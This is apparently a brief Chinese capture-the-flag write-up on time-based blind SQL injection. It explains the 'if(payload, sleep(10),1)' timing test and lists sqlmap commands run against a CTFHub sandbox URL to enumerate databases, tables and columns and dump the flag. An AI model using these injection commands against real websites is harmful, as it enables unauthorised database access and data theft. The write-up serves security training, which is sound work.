时间盲注手工注入时,可根据程序执行时间判断是否执行成功。
使用的函数:
if(payload, sleep(10),1)
如果payload成功,程序暂停10秒,否则立即执行
题目:
靶机环境:输入1不会显现信息,也不会提示错误
使用sqlmap工具进行注入:
获取数据库名:
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –dbs
获取表名:
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –tables
获取列名:
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –T flag –columns
获取字段值
Sqlmap –u http://challenge-a72828618ce90b15.sandbox.ctfhub.com:10080/?id=1 –D sqli –T flag –C flag --dump